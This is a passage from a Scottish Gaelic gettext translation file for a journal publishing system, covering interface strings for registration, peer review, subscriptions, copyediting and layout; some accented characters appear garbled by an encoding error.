"A bheil ùidh agad ann a bhith a’ dèanamh lèirmheasan air tagraidhean dhan "
"iris-leabhar seo?"

msgid "user.reviewerPrompt.userGroup"
msgstr "Tha, iarr dreuchd {$userGroup}."

msgid "user.reviewerPrompt.optin"
msgstr ""
"Tha, tha mi ag iarraidh gun cuirear fios thugam ma bhios iarrtas ann airson "
"lèirmheas tagraidh dhan iris-leabhar seo."

msgid "user.register.contextsPrompt"
msgstr "Dè na h-iris-leabhraichean air an làrach seo bu toil leat clàradh aca?"

msgid "user.register.otherContextRoles"
msgstr "Iarr na dreuchdan a leanas."

msgid "user.register.noContextReviewerInterests"
msgstr ""
"Ma dh’iarr thu inbhe lèirmheasaiche airson iris-leabhar sam bith, cuir a-"
"steach na cuspairean sa bheil Ăšidh agad."

msgid "user.myJournals"
msgstr "Na h-iris-leabhraichean agam"

msgid "user.manageMySubscriptions"
msgstr "StiĂširich na fo-sgrĂŹobhaidhean agam"

msgid "user.noRoles.chooseJournal"
msgstr ""
"Chan eil an cunntas agad co-cheangailte ri iris-leabhar sam bith aig an Ă m "
"seo. Tagh iris-leabhar:"

msgid "user.noRoles.noRolesForJournal"
msgstr ""
"Chan eil dreuchd sam bith aig a’ chunntas agad mu choinneamh an iris-"
"leabhair seo aig an Ă m seo. Tagh gnĂŹomh gu h-ĂŹosal:"

msgid "user.noRoles.submitArticle"
msgstr "Cuir moladh"

msgid "user.noRoles.submitArticleRegClosed"
msgstr ""
"Cuir artaigeal airson foillseachadh: Tha clĂ radh Ăšghdaran Ă  comas aig an Ă m "
"seo."

msgid "user.noRoles.regReviewer"
msgstr "Clàraich mar lèirmheasaiche"

msgid "user.noRoles.regReviewerClosed"
msgstr ""
"Clàraich mar lèirmheasaiche: Tha clàradh lèirmheasaichean à comas aig an àm "
"seo."

msgid "user.role.manager"
msgstr "Manaidsear an iris-leabhair"

msgid "user.role.subEditor"
msgstr "Deasaiche na h-earrainn"

msgid "user.role.subscriptionManager"
msgstr "Manaidsear an fho-sgrĂŹobhaidh"

msgid "user.role.managers"
msgstr "Manaidsearan an iris-leabhair"

msgid "user.role.subEditors"
msgstr "Deasaichean na h-earrainn"

msgid "user.role.subscriptionManagers"
msgstr "Manaidsearan an fho-sgrĂŹobhaidh"

msgid "user.role.journalAssistant"
msgstr "Cuidiche an iris-leabhair"

msgid "user.role.journalAssistants"
msgstr "Cuidichean an iris-leabhair"

msgid "issue.issue"
msgstr "Iris"

msgid "issue.issues"
msgstr "Irisean"

msgid "issue.title"
msgstr "Tiotal"

msgid "issue.viewIssueIdentification"
msgstr "Seall {$identification}"

msgid "issue.volume"
msgstr "Leabhar"

msgid "issue.number"
msgstr "Àireamh"

msgid "issue.vol"
msgstr "Lbh."

msgid "issue.no"
msgstr "Àir."

msgid "issue.year"
msgstr "Bliadhna"

msgid "issue.noIssues"
msgstr "Gun iris sam bith"

msgid "issue.toc"
msgstr "An clĂ r-innse"

msgid "issue.abstract"
msgstr "An geĂ rr-chunntas"

msgid "issue.coverPage.altText"
msgstr "An duilleag-chòmhdachaidh"

msgid "issue.fullIssue"
msgstr "An iris shlĂ n"

msgid "issue.nonpdf.title"
msgstr "Luchdaich a-nuas an iris"

msgid "issue.viewIssue"
msgstr "Seall an iris"

msgid "issue.return"
msgstr "Till gu mion-fhiosrachadh na h-irise"

msgid "subscriptionTypes.currency"
msgstr "Airgeadra"

msgid "subscriptionTypes.year"
msgstr "bhliadhna"

msgid "subscriptionTypes.years"
msgstr "bliadhna"

msgid "subscriptionTypes.month"
msgstr "mhĂŹos"

msgid "subscriptionTypes.months"
msgstr "mĂŹos(an)"

msgid "subscriptionTypes.nonExpiring"
msgstr "Buan"

msgid "subscriptionTypes.format"
msgstr "Fòrmat"

msgid "subscriptionTypes.format.online"
msgstr "Air loidhne"

msgid "subscriptionTypes.format.print"
msgstr "An clò-bhualadh"

msgid "subscriptionTypes.format.printOnline"
msgstr "An clò-bhualadh is air loidhne"

msgid "subscriptions.inactive"
msgstr "Neo-ghnĂŹomhach"

msgid "subscriptions.status"
msgstr "Staid"

msgid "subscriptions.status.active"
msgstr "GnĂŹomhach"

msgid "subscriptions.status.needsInformation"
msgstr "Fiosrachadh a dhĂŹth"

msgid "subscriptions.status.needsApproval"
msgstr "Feumach air aontachadh"

msgid "subscriptions.status.awaitingManualPayment"
msgstr "A’ feitheamh ri pàigheadh de làimh"

msgid "subscriptions.status.awaitingOnlinePayment"
msgstr "A’ feitheamh ri pàigheadh air loidhne"

msgid "subscriptions.status.noSubscription"
msgstr "Chan eil fo-sgrĂŹobhadh gnĂŹomhach agad."

msgid "subscriptions.status.other"
msgstr "Eile, faic na nòtaichean"

msgid "subscriptions.individualDescription"
msgstr ""
"Ma tha fo-sgrĂŹobhadh neach fa leth aig cuideigin, feumaidh iad clĂ radh a-"
"steach a dh’fhaighinn cothrom air susbaint an fho-sgrìobhaidh."

msgid "subscriptions.institutionalDescription"
msgstr ""
"Ma tha fo-sgrĂŹobhadh institiuide aig cuideigin, cha leigear a leas clĂ radh a-"
"steach. Gheibhear inntrigeadh do shusbaint nam fo-sgrÏobhaidhean stèidhichte "
"air àrainn agus/no seòladh IP a’ chleachdaiche."

msgid "submission.event.general.defaultEvent"
msgstr "Tachartas tagraidh"

msgid "submission.event.submissionSubmitted"
msgstr "Chaidh an t-artaigeal a chur"

msgid "submission.event.general.issueScheduled"
msgstr "Chaidh an tagradh a chur gu ciutha foillseachaidh"

msgid "submission.event.general.issueAssigned"
msgstr "Chaidh an tagradh iomruineadh do dh’fhoillseachadh"

msgid "submission.event.general.articlePublished"
msgstr "Chaidh an t-artaigeal fhoillseachadh"

msgid "submission.event.author.authorRevision"
msgstr "Chaidh lèirmheas an Úghdar a chur"

msgid "submission.event.general.authorRevision"
msgstr "Chaidh faidhle lèirmheasan an Úghdair Úrachadh"

msgid "submission.event.editor.editorAssigned"
msgstr "Chaidh an deasaiche iomruineadh dhan tagradh"

msgid "submission.event.editor.editorUnassigned"
msgstr "Chaidh an deasaiche a thoirt air falbh on tagradh"

msgid "submission.event.editor.editorDecision"
msgstr "Chaidh co-dhĂšnadh an deasaiche a chur"

msgid "submission.event.editor.editorFile"
msgstr "Chaidh faidhle an deasaiche Ăšrachadh"

msgid "submission.event.editor.submissionArchived"
msgstr "Chaidh an tagradh a chur dhan tasg-lann"

msgid "submission.event.editor.submissionRestored"
msgstr "Chaidh an tagradh aiseag on tasg-lann"

msgid "submission.event.copyedit.copyeditorAssigned"
msgstr "Chaidh an grinn-deasaiche iomruineadh dhan tagradh"

msgid "submission.event.copyedit.copyeditorUnassigned"
msgstr "Chaidh an grinn-deasaiche a thoirt air falbh on tagradh"

msgid "submission.event.copyedit.copyeditInitiated"
msgstr "Chaidh an obair grinn-deasachaidh iomruineadh"

msgid "submission.event.copyedit.copyeditRevision"
msgstr "Chaidh faidhle lèirmheasan a’ ghrinn-deasaiche ùrachadh"

msgid "submission.event.copyedit.copyeditInitialCompleted"
msgstr "Chaidh a’ chiad ghrinn-deasachadh a choileanadh"

msgid "submission.event.copyedit.copyeditFinalCompleted"
msgstr "Chaidh an grinn-deasachadh deireannach a choileanadh"

msgid "subscriptionManager.individualSubscriptions"
msgstr "Fo-sgrĂŹobhaidhean daoine fa leth"

msgid "subscriptionManager.institutionalSubscriptions"
msgstr "Fo-sgrĂŹobhaidhean institiuide"

msgid "subscriptionManager.subscriptionTypes"
msgstr "Seòrsaichean de dh’fho-sgrìobhaidhean"

msgid "plugins.categories.viewableFiles"
msgstr "Plugain mòr-dhuilleagan artaigealan"

msgid "plugins.categories.viewableFiles.description"
msgstr ""
"Tha plugain mòr-dhuilleagan nan artaigealan a’ toirt comas sgrìobhainnean de "
"dhiofar seòrsaichean a shealltainn mar mhòr-dhuilleagan."

msgid "plugins.categories.auth.description"
msgstr ""
"Bheir plugain Ăšghdarrachaidh comas dha Open Journal Systems saothraichean "
"dearbhadh chleachdaichean iomruineadh do shiostaman eile, can "
"frithealaichean LDAP."

msgid "plugins.categories.generic.description"
msgstr ""
"Thathar a’ cleachdadh plugain coitcheann airson siostam an iris-leabhair "
"fhosgailte a leudachadh ann an dòighean air nach eil plugain eile comasach."

msgid "manager.people.confirmDisable"
msgstr ""
"A bheil thu airson an cleachdaiche seo a chur Ă  comas? Ma nĂŹ thu seo, chan "
"urrainn dhan chleachdaiche clĂ radh a-steach dhan t-siostam tuilleadh.\n"
"\n"
"’S urrainn dhut innse dhan chleachdaiche carson a chuir thu an cunntas aca à "
"comas."

msgid "sectionEditor.activeEditorialAssignments"
msgstr "Obraichean deasachaidh gnĂŹomhach"

msgid "sectionEditor.completedEditorialAssignments"
msgstr "Obraichean deasachaidh coileanta"

msgid "sectionEditor.noneAssigned"
msgstr "Cha deach tagradh sam bith iomruineadh."

msgid "sectionEditor.copyedit.confirmRenotify"
msgstr ""
"Ma chuireas tu brath dhan ghrinn-deasaiche seo às Úr, thèid am pÏos obrach "
"aca ath-thòiseachadh. A bheil thu cinnteach gu bheil thu airson seo a "
"dhèanamh?"

msgid "sectionEditor.author.confirmRenotify"
msgstr ""
"Ma chuireas tu brath dhan Úghdar seo às Úr, thèid am pÏos obrach aca ath-"
"thòiseachadh. A bheil thu cinnteach gu bheil thu airson seo a dhèanamh?"

msgid "sectionEditor.layout.confirmRenotify"
msgstr ""
"Ma chuireas tu brath dhan deasaiche cho-dhealbhachd seo às Úr, thèid am pÏos "
"obrach aca ath-thòiseachadh. A bheil thu cinnteach gu bheil thu airson seo a "
"dhèanamh?"

msgid "sectionEditor.proofreader.confirmRenotify"
msgstr ""
"Ma chuireas tu brath dhan dearbh-leughadair seo às Úr, thèid am pÏos obrach "
"aca ath-thòiseachadh. A bheil thu cinnteach gu bheil thu airson seo a "
"dhèanamh?"

msgid "sectionEditor.regrets.breadcrumb"
msgstr "Aithreachasan"

msgid "sectionEditor.regrets"
msgstr "Aithreachasan"

msgid "sectionEditor.regrets.link"
msgstr "Seall aithreachasan, na sguireadh dheth, cuairtean roimhe"

msgid "sectionEditor.regrets.reviewRound"
msgstr "Lèirmheas seise, cuairt {$round}"

msgid "sectionEditor.regrets.decisionRound"
msgstr "Co-dhĂšnadh an deasaiche, cuairt {$round}"

msgid "sectionEditor.regrets.regret"
msgstr "Aithreachas"

msgid "sectionEditor.regrets.result"
msgstr "Toradh"

msgid "sectionEditor.review.enrollReviewer"
msgstr "Clàraich cleachdaiche làithreach mar lèirmheasaiche"

msgid "sectionEditor.review.createReviewer"
msgstr "Cruthaich lèirmheasaiche Úr"

msgid "layoutEditor.activeEditorialAssignments"
msgstr "Obraichean deasachaidh gnĂŹomhach"

msgid "layoutEditor.completedEditorialAssignments"
msgstr "Obraichean deasachaidh coileanta"

msgid "layoutEditor.noActiveAssignments"
msgstr "Chan eil obair deasachaidh ghnĂŹomhach agad."

msgid "layoutEditor.layoutEditingAssignments"
msgstr "Obraichean deasachadh co-dhealbhachd"

msgid "layoutEditor.galley.uploadGalleyFormat"
msgstr "Fòrmat luchdadh suas mhòr-dhuilleagan"

msgid "layoutEditor.galley.replaceGalley"
msgstr "Cuir an Ă ite an fhaidhle"

msgid "layoutEditor.galley.uploadSuppFile"
msgstr "Luchdaich suas faidhle foirlionaidh"

msgid "submission.layout.imageInvalid"
msgstr ""
"Fòrmat deilbh mÏ-dhligheach. Gabhar ri faidhlichean .gif, .jpg agus .png."

msgid "submission.layout.galley.remotelyHostedContent"
msgstr "Bidh a’ mhòr-dhuilleag seo ri làimh air làrach-lìn fa leth."

msgid "submission.layout.galley.remoteURL"
msgstr "URL de shusbaint air òstair cèin"

msgid "reviewer.pendingReviews"
msgstr "Artaigealan ri lèirmheasadh"

msgid "reviewer.completedReviews"
msgstr "Deiseil"

msgid "reviewer.averageQuality"
msgstr "Rangachadh"

msgid "reviewer.article.fileToBeReviewed"
msgstr "Am faidhle a tha ri lèirmheasadh"

msgid "reviewer.article.notifyTheEditor"
msgstr "Cuir fios chun an deasaiche"

msgid "reviewer.article.canDoReview"
msgstr "NÏ mi an lèirmheas"

msgid "reviewer.article.cannotDoReview"
msgstr "Chan urrainn dhomh an lèirmheas a dhèanamh"

msgid "reviewer.article.restrictedFileAccess"
msgstr "Bidh an tagradh ri làimh ma ghabhas lèirmheasaiche an tagradh os làimh"

msgid "about.authorGuidelines"
msgstr "Riaghailtean dha na h-Ăšghdaran"

msgid "about.submissionPreparationChecklist"
msgstr "Liosta-chromagan ullachadh an tagraidh"

msgid "about.submissionPreparationChecklist.description"
msgstr ""
"Mar phàirt dhen phròiseas tagraidh, bidh aig na h-Úghdaran cromag a chur ris "
"na nithean a leanas air fad a dh’innse gu bheil an tagradh aca a’ gèilleadh "
"ri gach aon dhiubh agus mur eil tagradh a’ gèilleadh ris na riaghailtean "
"seo, dh’fhaoidte gun tèid a thilleadh dha na h-ùghdaran."

msgid "about.copyrightNotice"
msgstr "Brath na còrach-lethbhreac"

msgid "about.privacyStatement"
msgstr "An aithris prĂŹobhaideachd"

msgid "about.authorFees"
msgstr "TĂ illean Ăšghdair"

msgid "about.authorFeesMessage"
msgstr "Iarraidh an t-iris-leabhar seo na tĂ illean a leanas air Ăšghdaran."

msgid "about.peerReviewProcess"
msgstr "Pròiseas nan lèirmheas le seise"

msgid "about.publicationFrequency"
msgstr "Tricead an fhoillseachaidh"

msgid "about.openAccessPolicy"
msgstr "Poileasaidh an inntrigidh fhosgailte"

msgid "about.delayedOpenAccess"
msgstr "Inntrigeadh fosgailte le dĂ il"

msgid "reviewer.article.submissionEditor"
msgstr "Deasaiche an tagraidh"

msgid "reviewer.article.reviewerCommentsDescription"
msgstr "SgrÏobh no cuir ann beachdan an lèirmheis an-seo"

msgid "reviewer.article.editorToEnter"
msgstr "Ri lĂŹonadh leis an deasaiche"

msgid "reviewer.article.sendReminder"
msgstr "Cuir cuimhneachan"

msgid "reviewer.article.automatic"
msgstr "(Gu fèin-obrachail)"

msgid "reviewer.article.recommendation"
msgstr "Moladh"

msgid "reviewer.article.submitReview"
msgstr "Cuir an lèirmheas chun an deasaiche"

msgid "reviewer.article.reviewerComments"
msgstr "Beachdan"

msgid "reviewer.article.uploadedFile"
msgstr "Faidhlichean a chaidh luchdadh suas"

msgid "reviewer.article.reviewersAnnotatedVersion"
msgstr "An tionndadh a luchdaich an lèirmheasaiche suas"

msgid "reviewer.article.reviewersAnnotatedVersionDescription"
msgstr ""
"(Ma tha thu airson nòtaichean a chur ris an fhaidhle dhan deasaiche, sàbhail "
"e air a’ chlàr-chruaidh agad is cleachd “Brabhsaich” no “Luchdaich suas”.)"

msgid "reviewer.article.schedule.request"
msgstr "Iarrtas an deasaiche"

msgid "reviewer.article.schedule.response"
msgstr "Do fhreagairt"

msgid "reviewer.article.schedule.submitted"
msgstr "Chaidh an lèirmheas a chur"

msgid "reviewer.article.schedule.due"
msgstr "Tha an lèirmheas ri lÏbhrigeadh"

msgid "reviewer.article.decision.accept"
msgstr "Gabh ris an tagradh"

msgid "reviewer.article.decision.pendingRevisions"
msgstr "Tha feum air ath-dheasachadh"

msgid "reviewer.article.decision.resubmitHere"
msgstr "Cuir a chÚm lèirmheis às Úr"

msgid "reviewer.article.decision.resubmitElsewhere"
msgstr "Cuir Ă s Ăšr am badeigin eile"

msgid "reviewer.article.decision.decline"
msgstr "DiĂšlt an tagradh"

msgid "reviewer.article.decision.seeComments"
msgstr "Seall na beachdan"

msgid "reviewer.article.schedule"
msgstr "An sgeideal"

msgid "reviewer.article.submissionToBeReviewed"
msgstr "An tagradh a tha ri lèirmheasadh"

msgid "reviewer.article.reviewSchedule"
msgstr "Sgeideal lèirmheis"

msgid "reviewer.article.reviewSteps"
msgstr "Ceuman lèirmheis"

msgid "reviewer.article.reviewerGuidelines"
msgstr "StiÚireadh do lèirmheasaichean"

msgid "reviewer.article.reviewGuidelinesDescription"
msgstr ""
"Innsidh an stiÚireadh do lèirmheasaichean mar a thomhaiseas iad a bheil "
"tagradh iomchaidh airson foillseachadh san iris-leabhar agus faodar "
"stiùireadh sònraichte sam bith a ghabhail a-staigh a dh’innseas mar a dh’"
"ullaichear lèirmheas èifeachdach is cuideachail. Bidh dà bhogsa airson "
"teacsa saor aig lèirmheasaichean rè an lèirmheis, a’ chiad dhiubh “airson an "
"ùghdair is an deasaiche” agus an dàrna fear “airson an deasaiche.” Air neo, "
"is urrainn do mhanaidsear an iris-leabhair lèirmheas seise a chruthachadh "
"fon earrann “Foirmean lèirmheis.” Ge be dè an t-slighe, bidh cothrom aig na "
"deasaichean na lèirmheasan a ghabhail a-staigh sa chonaltradh leis an Úghdar."

msgid "reviewer.article.notifyEditorA"
msgstr "Cuir fios gu deasaiche nan tagraidhean"

msgid "reviewer.article.notifyEditorB"
msgstr "is innis an gabh thu an lèirmheas os làimh."

msgid "reviewer.article.consultGuidelines"
msgstr ""
"Ma tha thusa a’ dol a dhèanamh an lèirmheis, thoir sùil air an stiùireadh do "
"lèirmheasaichean gu h-Ïosal."

msgid "reviewer.article.downloadSubmission"
msgstr ""
"Briog air ainmean fhaidhlichean airson na faidhlichean a tha co-cheangailte "
"ris an tagradh seo a luchdadh a-nuas is lèirmheas a dhèanamh orra (air an "
"sgrÏn no air tionndadh clò-bhuailte)."

msgid "reviewer.competingInterests"
msgstr "Còmhstri Úidhean"

msgid "reviewer.article.enterReviewA"
msgstr ""
"Briog air an Ïomhaigheag airson do lèirmheas air an tagradh seo a chur a-"
"steach (no a chur ann)."

msgid "reviewer.article.uploadFile"
msgstr ""
"A bharrachd air sin, is urrainn dhut faidhlichean a luchdadh suas dhan "
"deasaiche agus/no Ăšghdar airson co-comhairleachaidh."

msgid "reviewer.article.selectRecommendation"
msgstr ""
"Tagh moladh agus cuir an lèirmheas airson am pròiseas a choileanadh. "
"Feumaidh tu lèirmheas a chur a-steach no faidhle a luchdadh suas mus tagh "
"thu moladh."

msgid "reviewer.article.selectRecommendation.byEditor"
msgstr "Suidhich no cuir air gleus moladh an lèirmheasaiche."

msgid "reviewer.article.mustSelectDecision"
msgstr ""
"Cha deach moladh a thaghadh. Feumaidh tu moladh a thaghadh airson a chur."

msgid "reviewer.article.confirmDecision"
msgstr ""
"Turas a chlàraich thu co-dhÚnadh, chan urrainn dhut atharraichean a dhèanamh "
"air an lèirmheas seo tuilleadh. A bheil thu cinnteach gu bheil thu airson "
"leantainn air adhart?"

msgid "copyeditor.article.fileToCopyedit"
msgstr "Am faidhle a tha ri ghrinn-deasachadh"

msgid "copyeditor.article.copyeditorFile"
msgstr "Faidhle a’ ghrinn-deasaiche"

msgid "copyeditor.article.copyeditorFinalFile"
msgstr "Faidhle a’ ghrinn-deasaiche"

msgid "proofreader.noProofreadingAssignments"
msgstr "Chan eil dearbh-leughadh ri dhèanamh"

msgid "submission.review.mustUploadFileForReview"
msgstr "Cha ghabh am post-d iarrtais a chur gus am bi tionndadh lèirmheis ann."

msgid "submission.copyedit.mustUploadFileForInitialCopyedit"
msgstr ""
"Cha ghabh am post-d iarrtais a chur gus an deach faidhle a thaghadh airson "
"grinn-deasachadh fo “Co-dhùnadh an deasaiche” air duilleag nan lèirmheasan."

msgid "submission.copyedit.mustUploadFileForCopyedit"
msgstr ""
"Cha ghabh am post-d iarrtais a chur gus an deach am faidhle a luchdadh suas "
"airson grinn-deasachadh."

msgid "submission.copyedit.initialCopyedit"
msgstr "Grinn-deasachadh tòiseachail"

msgid "submission.copyedit.editorsCopyedit"
msgstr "Grinn-deasachadh an deasaiche"

msgid "submission.copyedit.editorAuthorReview"
msgstr "Grinn-deasachadh an Ăšghdair"

msgid "submission.copyedit.finalCopyedit"
msgstr "Grinn-deasachadh deireannach"

msgid "submission.copyedit.copyeditVersion"
msgstr "Tionndadh an grinn-deasachaidh"

msgid "submission.copyedit.selectCopyeditor"
msgstr "Iomruin grinn-deasaiche"

msgid "submission.copyedit.useFile"
msgstr "Cleachd am faidhle"

msgid "submission.copyedit.copyeditComments"
msgstr "Beachdan grinn-deasachaidh"

msgid "submission.copyedit.instructions"
msgstr "StiĂšireadh grinn-deasachaidh"

msgid "submission.layout.noLayoutFile"
msgstr ""
"Chan eil gin (Luchdaich suas an tionndadh grinn-deasaichte deireannach mar "
"thionndadh co-dhealbhachd mus cuir thu iarrtas)"

msgid "submission.layout.galleyPublicIdentificationExists"
msgstr "Tha aithnichear poblach a’ ghailearaidh seo ann mu thràth."

msgid "submission.layout.assignLayoutEditor"
msgstr "Iomruin deasaiche co-dhealbhachd"

msgid "submission.layout.replaceLayoutEditor"
msgstr "Tagh deasaiche co-dhealbhachd Ăšr"

msgid "submission.layout.layoutComments"
msgstr "Beachdan co-dhealbhachd"

msgid "submission.layout.instructions"
msgstr "StiĂšireadh co-dhealbhachd"

msgid "submission.layout.referenceLinking"
msgstr "Ceangladh nan reifreansan"

msgid "submission.proofreadingComments"
msgstr "Beachdan dearbh-leughaidh"

msgid "submission.proofread.corrections"
msgstr "Ceartachaidhean dearbh-leughaidh"

msgid "submission.proofread.instructions"
msgstr "StiĂšireadh dearbhaidh"

msgid "submission.logType.article"
msgstr "Artaigeal"

msgid "submission.logType.author"
msgstr "Ùghdar"

msgid "submission.logType.editor"
msgstr "Deasaiche"

msgid "submission.logType.review"
msgstr "Lèirmheas"

msgid "submission.logType.copyedit"
msgstr "Grinn-deasachadh"

msgid "submission.logType.layout"
msgstr "Co-dhealbhachd"

msgid "submission.logType.proofread"
msgstr "Dearbh-leughadh"

msgid "submission.comments.editorAuthorCorrespondence"
msgstr "Conaltradh an deasaiche/Ăšghdair"

msgid "submission.comments.copyeditComments"
msgstr "Beachdan grinn-deasachaidh"

msgid "submission.comments.canShareWithAuthor"
msgstr "Airson an Ăšghdair is an deasaiche"

msgid "submission.comments.cannotShareWithAuthor"
msgstr "Airson an deasaiche"

msgid "submission.comments.blindCcReviewers"
msgstr ""
"An dèidh a chur, thoir seachad lethbhreac so-dheasaichte BCC as urrainnear "
"cur dha na lèirmheasaichean."

msgid "submission.comments.forAuthorEditor"
msgstr "Airson an Ăšghdair is an deasaiche"

msgid "submission.comments.forEditor"
msgstr "Airson an deasaiche"

msgid "submission.comments.saveAndEmailAuthor"
msgstr "SĂ bhail is cuir post-d chun an Ăšghdair"

msgid "submission.comments.saveAndEmailEditor"
msgstr "SĂ bhail is cuir post-d chun an deasaiche"

msgid "user.register.selectContext"
msgstr "Tagh iris-leabhar airson clĂ radh aige:"

msgid "user.register.noJournals"
msgstr ""
"Chan eil iris-leabhar sam bith air an lĂ rach seo as urrainn dhut clĂ radh "
"aige."

msgid "user.register.privacyStatement"
msgstr "An aithris prĂŹobhaideachd"

msgid "user.register.registrationDisabled"
msgstr ""
"Chan eil an t-iris-leabhar seo a’ clàradh chleachdaichean aig an àm seo."

msgid "user.register.form.passwordLengthTooShort"
msgstr "Chan eil am facal-faire a chuir thu a-steach fada gu leòr."

msgid "user.register.readerDescription"
msgstr ""
"Gheibhear fios air a’ phost-d nuair a thèid iris dhen iris-leabhar "
"fhoillseachadh."

msgid "user.register.openAccessNotificationDescription"
msgstr ""
"Gheibhear fios air a’ phost-d nuair a thèid inntrigeadh fosgailte a thoirt "
"do dh’iris-leabhar."

msgid "user.register.authorDescription"
msgstr "Comasach air nithean a chur dhan iris."

msgid "user.register.reviewerDescriptionNoInterests"
msgstr "Deònach lèirmheas seise a dhèanamh air tagraidhean dhan iris-leabhar."

msgid "user.register.reviewerDescription"
msgstr "Deònach lèirmheas seise a dhèanamh air tagraidhean dhan làrach."

msgid "user.register.reviewerInterests"
msgstr ""
"Aithneachadh de dh’ùidhean lèirmheis (raointean chuspairean agus dòighean "
"rannsachaidh):"

msgid "user.register.form.emailConsentAllContexts"
msgstr ""
"Tha, bu toil leam fios fhaighinn air foillseachaidhean Ăšra agus brathan a "
"thaobh gach iris-leabhar a chlĂ raich mi aige."

msgid "user.register.form.missingContextConsent"
msgstr ""
"Feumaidh tu gabhail ris an aithris phrĂŹobhaideachd aig gach iris-leabhar a "
"tha thu a’ clàradh aige."

msgid "user.register.form.missingSiteConsent"
msgstr "Feumaidh tu gabhail ri aithris prĂŹobhaideachd na lĂ raich seo."

msgid "user.subscriptions.mySubscriptions"
msgstr "Na fo-sgrĂŹobhaidhean agam"

msgid "user.subscriptions.subscriptionStatus"
msgstr "Staid an fho-sgrĂŹobhaidh"

msgid "user.subscriptions.statusInformation"
msgstr ""
"Chì thu fo-sgrìobhaidhean gnìomhach agus feadhainn a dh’fhalbh an ùine orra "
"gu h-ìosal leis a’ cheann-là a dh’fhalbh an ùine orra. A bharrachd air sin, "
"dh’fhaoidte gum bi am fiosrachadh a leanas mun staid ri fhaicinn an cois "
"gach fo-sgrĂŹobhadh."

msgid "user.subscriptions.status"
msgstr "Staid"

msgid "user.subscriptions.statusDescription"
msgstr "Tuairisgeul"

msgid "user.subscriptions.status.needsInformationDescription"
msgstr ""
"Tha feum air barrachd fiosrachaidh mus gabh am fo-sgrĂŹobhadh a chur an gnĂŹomh"

msgid "user.subscriptions.status.needsApprovalDescription"
msgstr "Feumaidh gach fo-sgrÏobhadh lèirmheas mus gabh a chur an gnÏomh"

msgid "user.subscriptions.status.awaitingManualPaymentDescription"
msgstr "Thòiseachadh air pàigheadh de làimh ach cha d’fhuaradh e fhathast"

msgid "user.subscriptions.status.awaitingOnlinePaymentDescription"
msgstr ""
"Thòiseachadh air pàigheadh air loidhne ach sguireadh dheth no cha deach a "
"choileanadh"

msgid "user.subscriptions.individualSubscriptions"
msgstr "Fo-sgrĂŹobhadh neach fa leth"

msgid "user.subscriptions.institutionalSubscriptions"
msgstr "Fo-sgrĂŹobhaidhean institiuide"

msgid "user.subscriptions.renew"
msgstr "Ath-nuadhaich"

msgid "user.subscriptions.purchase"
msgstr "Ceannaich"

msgid "user.subscriptions.purchaseNewSubscription"
msgstr "Ceannaich fo-sgrĂŹobhadh Ăšr"

msgid "user.subscriptions.purchaseIndividualSubscription"
msgstr "Ceannaich fo-sgrĂŹobhadh neach fa leth"

msgid "user.subscriptions.purchaseInstitutionalSubscription"
msgstr "Ceannaich fo-sgrĂŹobhadh institiuide"

msgid "user.subscriptions.expires"
msgstr "Falbhaidh an Ăšine air: {$date}"

msgid "user.subscriptions.expired"
msgstr "Dh’fhalbh an ùine air: {$date}"

msgid "user.subscriptions.viewSubscriptionTypes"
msgstr "Seall na seòrsaichean de dh’fho-sgrìobhaidhean a tha ri fhaighinn"

msgid "user.subscriptions.form.typeId"
msgstr "Seòrsa an fho-sgrÏobhaidh"

msgid "user.subscriptions.form.membership"
msgstr "Ballrachd"

msgid "user.subscriptions.form.membershipRequired"
msgstr "Thagh thu fo-sgrìobhadh de sheòrsa a dh’fheumas fiosrachadh ballrachd."

msgid "user.subscriptions.form.typeIdValid"
msgstr "Tagh seòrsa dligheach de dh’fho-sgrìobhadh."

msgid "user.subscriptions.form.subscriptionExists"
msgstr "Tha fo-sgrìobhadh fa leth aig a’ chunntas chleachdaiche seo mu thràth."

msgid "user.subscriptions.form.membershipInstructions"
msgstr ""
"Fiosrachadh mun bhallrachd ma tha feum air seo mu choinneamh seòrsa an fho-"
"sgrĂŹobhaidh a chaidh a thaghadh."

msgid "user.subscriptions.form.institutionName"
msgstr "Ainm na h-institiuide"

msgid "user.subscriptions.form.institutionNameRequired"
msgstr "Tha feum air ainm institiuid."

msgid "user.subscriptions.form.institutionMailingAddress"
msgstr "Seòladh puist"

msgid "user.subscriptions.form.domain"
msgstr "Àrainn"

msgid "user.subscriptions.form.domainIPRangeRequired"
msgstr ""
"Feumaidh fo-sgrÏobhadh dhen t-seòrsa a thagh thu àrainn agus/no rainse IP "
"airson dearbhadh an fho-sgrĂŹobhaidh."

msgid "user.subscriptions.form.domainValid"
msgstr "Cuir Ă rainn dhligheach a-steach."

msgid "user.subscriptions.form.ipRange"
msgstr "Rainsean IP"

msgid "user.subscriptions.form.ipRangeValid"
msgstr "Cuir a-steach rainse IP dhligheach."

msgid "user.subscriptions.form.deleteIpRange"
msgstr "Sguab Ă s"

msgid "user.subscriptions.form.addIpRange"
msgstr "Cuir ris"

msgid "search.browseAuthorIndex"
msgstr "RĂšraich clĂ r-amais nan Ăšghdar"

msgid "search.searchFor"
msgstr "Lorg na leanas sna h-artaigealan"

msgid "search.withinJournal"
msgstr "Am broinn"

msgid "search.allJournals"
msgstr "A h-uile iris-leabhar"

msgid "search.authorIndex"
msgstr "RĂšraich clĂ r-amais nan Ăšghdar"

msgid "editor.navigation.issues"
msgstr "Irisean"

msgid "notification.type.approveSubmission"
msgstr ""
"Tha an tagradh seo a’ feitheamh ri aonta fhathast agus nochdaidh e san iris "
"an uairsin."

msgid "notification.type.approveSubmissionTitle"
msgstr "A’ feitheamh ri aonta."

msgid "user.profile.form.showOtherContexts"
msgstr "ClĂ raich aig iris-leabhraichean eile"

msgid "user.profile.form.hideOtherContexts"
msgstr "Falaich na h-iris-leabhraichean eile"

msgid "article.view.interstitial"
msgstr "Tagh faidhle artaigil airson a luchdadh a-nuas."

msgid "grid.catalogEntry.availableRepresentation.approved"
msgstr "Air aontachadh"

msgid "grid.catalogEntry.availableRepresentation.notApproved"
msgstr "A’ feitheamh ri aonta"

msgid "grid.catalogEntry.approvedRepresentation.title"
msgstr "Aonta a’ ghailearaidh"

msgid "search.cli.rebuildIndex.indexing"
msgstr "Ag inneacsadh “{$journalName}”"

msgid "search.cli.rebuildIndex.indexingByJournalNotSupported"
msgstr ""
"Chan eil an gleus luirg seo a’ ceadachadh ath inneacsadh iris-leabhar air "
"iris-leabhar."

msgid "search.cli.rebuildIndex.unknownJournal"
msgstr ""
"Cha robh an t-slighe “{$journalPath}” a thugadh seachad a’ dol gu iris-"
"leabhar."

msgid "editor.issues.backIssues"
msgstr "Seann irisean"

msgid "editor.issues.futureIssues"
